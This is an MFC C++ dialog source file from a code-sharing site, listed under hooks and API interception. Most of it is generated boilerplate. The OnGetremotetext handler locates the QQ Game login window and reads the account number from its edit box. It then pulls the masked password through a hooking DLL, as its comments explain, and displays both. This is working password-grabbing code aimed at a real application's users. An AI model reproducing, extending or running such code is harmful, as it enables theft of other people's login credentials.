GetWindowTextRemoteTestDlg.cpp
上传用户:yyuan_1106
上传日期:2022-03-31
资源大小:114k
文件大小:6k
源码类别:

钩子与API截获

开发平台:

Visual C++

  1. // GetWindowTextRemoteTestDlg.cpp : implementation file
  2. //
  3. #include "stdafx.h"
  4. #include "GetWindowTextRemoteTest.h"
  5. #include "GetWindowTextRemoteTestDlg.h"
  6. #ifdef _DEBUG
  7. #define new DEBUG_NEW
  8. #undef THIS_FILE
  9. static char THIS_FILE[] = __FILE__;
  10. #endif
  11. /////////////////////////////////////////////////////////////////////////////
  12. // CAboutDlg dialog used for App About
  13. class CAboutDlg : public CDialog
  14. {
  15. public:
  16. CAboutDlg();
  17. // Dialog Data
  18. //{{AFX_DATA(CAboutDlg)
  19. enum { IDD = IDD_ABOUTBOX };
  20. //}}AFX_DATA
  21. // ClassWizard generated virtual function overrides
  22. //{{AFX_VIRTUAL(CAboutDlg)
  23. protected:
  24. virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
  25. //}}AFX_VIRTUAL
  26. // Implementation
  27. protected:
  28. //{{AFX_MSG(CAboutDlg)
  29. //}}AFX_MSG
  30. DECLARE_MESSAGE_MAP()
  31. };
  32. CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
  33. {
  34. //{{AFX_DATA_INIT(CAboutDlg)
  35. //}}AFX_DATA_INIT
  36. }
  37. void CAboutDlg::DoDataExchange(CDataExchange* pDX)
  38. {
  39. CDialog::DoDataExchange(pDX);
  40. //{{AFX_DATA_MAP(CAboutDlg)
  41. //}}AFX_DATA_MAP
  42. }
  43. BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
  44. //{{AFX_MSG_MAP(CAboutDlg)
  45. // No message handlers
  46. //}}AFX_MSG_MAP
  47. END_MESSAGE_MAP()
  48. /////////////////////////////////////////////////////////////////////////////
  49. // CGetWindowTextRemoteTestDlg dialog
  50. CGetWindowTextRemoteTestDlg::CGetWindowTextRemoteTestDlg(CWnd* pParent /*=NULL*/)
  51. : CDialog(CGetWindowTextRemoteTestDlg::IDD, pParent)
  52. {
  53. //{{AFX_DATA_INIT(CGetWindowTextRemoteTestDlg)
  54. // NOTE: the ClassWizard will add member initialization here
  55. //}}AFX_DATA_INIT
  56. // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
  57. m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
  58. }
  59. void CGetWindowTextRemoteTestDlg::DoDataExchange(CDataExchange* pDX)
  60. {
  61. CDialog::DoDataExchange(pDX);
  62. //{{AFX_DATA_MAP(CGetWindowTextRemoteTestDlg)
  63. // NOTE: the ClassWizard will add DDX and DDV calls here
  64. //}}AFX_DATA_MAP
  65. }
  66. BEGIN_MESSAGE_MAP(CGetWindowTextRemoteTestDlg, CDialog)
  67. //{{AFX_MSG_MAP(CGetWindowTextRemoteTestDlg)
  68. ON_WM_SYSCOMMAND()
  69. ON_WM_PAINT()
  70. ON_WM_QUERYDRAGICON()
  71. ON_BN_CLICKED(IDC_GETREMOTETEXT, OnGetremotetext)
  72. ON_WM_CLOSE()
  73. //}}AFX_MSG_MAP
  74. END_MESSAGE_MAP()
  75. /////////////////////////////////////////////////////////////////////////////
  76. // CGetWindowTextRemoteTestDlg message handlers
  77. BOOL CGetWindowTextRemoteTestDlg::OnInitDialog()
  78. {
  79. CDialog::OnInitDialog();
  80. // Add "About..." menu item to system menu.
  81. // IDM_ABOUTBOX must be in the system command range.
  82. ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
  83. ASSERT(IDM_ABOUTBOX < 0xF000);
  84. CMenu* pSysMenu = GetSystemMenu(FALSE);
  85. if (pSysMenu != NULL)
  86. {
  87. CString strAboutMenu;
  88. strAboutMenu.LoadString(IDS_ABOUTBOX);
  89. if (!strAboutMenu.IsEmpty())
  90. {
  91. pSysMenu->AppendMenu(MF_SEPARATOR);
  92. pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
  93. }
  94. }
  95. // Set the icon for this dialog.  The framework does this automatically
  96. //  when the application's main window is not a dialog
  97. SetIcon(m_hIcon, TRUE); // Set big icon
  98. SetIcon(m_hIcon, FALSE); // Set small icon
  99. // TODO: Add extra initialization here
  100. return TRUE;  // return TRUE  unless you set the focus to a control
  101. }
  102. void CGetWindowTextRemoteTestDlg::OnSysCommand(UINT nID, LPARAM lParam)
  103. {
  104. if ((nID & 0xFFF0) == IDM_ABOUTBOX)
  105. {
  106. CAboutDlg dlgAbout;
  107. dlgAbout.DoModal();
  108. }
  109. else
  110. {
  111. CDialog::OnSysCommand(nID, lParam);
  112. }
  113. }
  114. // If you add a minimize button to your dialog, you will need the code below
  115. //  to draw the icon.  For MFC applications using the document/view model,
  116. //  this is automatically done for you by the framework.
  117. void CGetWindowTextRemoteTestDlg::OnPaint() 
  118. {
  119. if (IsIconic())
  120. {
  121. CPaintDC dc(this); // device context for painting
  122. SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
  123. // Center icon in client rectangle
  124. int cxIcon = GetSystemMetrics(SM_CXICON);
  125. int cyIcon = GetSystemMetrics(SM_CYICON);
  126. CRect rect;
  127. GetClientRect(&rect);
  128. int x = (rect.Width() - cxIcon + 1) / 2;
  129. int y = (rect.Height() - cyIcon + 1) / 2;
  130. // Draw the icon
  131. dc.DrawIcon(x, y, m_hIcon);
  132. }
  133. else
  134. {
  135. CDialog::OnPaint();
  136. }
  137. }
  138. // The system calls this to obtain the cursor to display while the user drags
  139. //  the minimized window.
  140. HCURSOR CGetWindowTextRemoteTestDlg::OnQueryDragIcon()
  141. {
  142. return (HCURSOR) m_hIcon;
  143. }
  144. void CGetWindowTextRemoteTestDlg::OnOK() 
  145. {
  146. }
  147. void CGetWindowTextRemoteTestDlg::OnCancel() 
  148. {
  149. }
  150. void CGetWindowTextRemoteTestDlg::OnClose() 
  151. {
  152. this->DestroyWindow();
  153. }
  154. int Getremotetext(HWND hwnd,LPSTR tempbuf)
  155. {
  156. typedef int ( *GetWindowTextRemote)(HWND hWnd, LPSTR lpString);
  157. GetWindowTextRemote getwindowtextremote=NULL;
  158. HINSTANCE hDll=0;
  159. int ret=0;
  160. hDll=::LoadLibrary("GetWindowTextRemote.dll");
  161. getwindowtextremote=(GetWindowTextRemote)::GetProcAddress(hDll,"GetWindowTextRemote");
  162. ret=getwindowtextremote(hwnd,tempbuf);
  163. return ret;
  164. }
  165. //读取远程窗口编辑框内容
  166. void CGetWindowTextRemoteTestDlg::OnGetremotetext() 
  167. {
  168. HWND parenthwnd=0;
  169. HWND childhwnd=0;
  170. DWORD style=0;
  171. char tempbuf[256]={0};
  172. //获取QQ游戏登录窗口句柄
  173. parenthwnd=::FindWindow(NULL,"QQ游戏");
  174. if(parenthwnd)
  175. {
  176. //遍历子窗口,查找QQ号和密码输入框
  177. childhwnd=::GetWindow(parenthwnd,GW_CHILD);
  178. childhwnd=::GetWindow(childhwnd,GW_HWNDFIRST);
  179. while(childhwnd)
  180. {
  181. memset(tempbuf,0,256);
  182. ::GetClassName(childhwnd,tempbuf,256);
  183. style=::GetWindowLong(childhwnd,GWL_STYLE);
  184. //号码输入框
  185. //远程进程的非密码框内容可以直接采用SendMessage发送WM_GETTEXT获取到
  186. if(0x50010202==style)
  187. {
  188. memset(tempbuf,0,256);
  189. ::SendMessage(childhwnd,WM_GETTEXT,256,(LPARAM)tempbuf);
  190. this->SetDlgItemText(IDC_NUMBER,tempbuf);
  191. }
  192. //密码输入框
  193. //远程进程的密码框内容采用HOOK WH_CALLWNDPROC获取
  194. if(0x52010020==style)
  195. {
  196. Getremotetext(childhwnd,tempbuf);
  197. this->SetDlgItemText(IDC_PASSWORD,tempbuf);
  198. }
  199. childhwnd=::GetWindow(childhwnd,GW_HWNDNEXT);
  200. }
  201. }
  202. }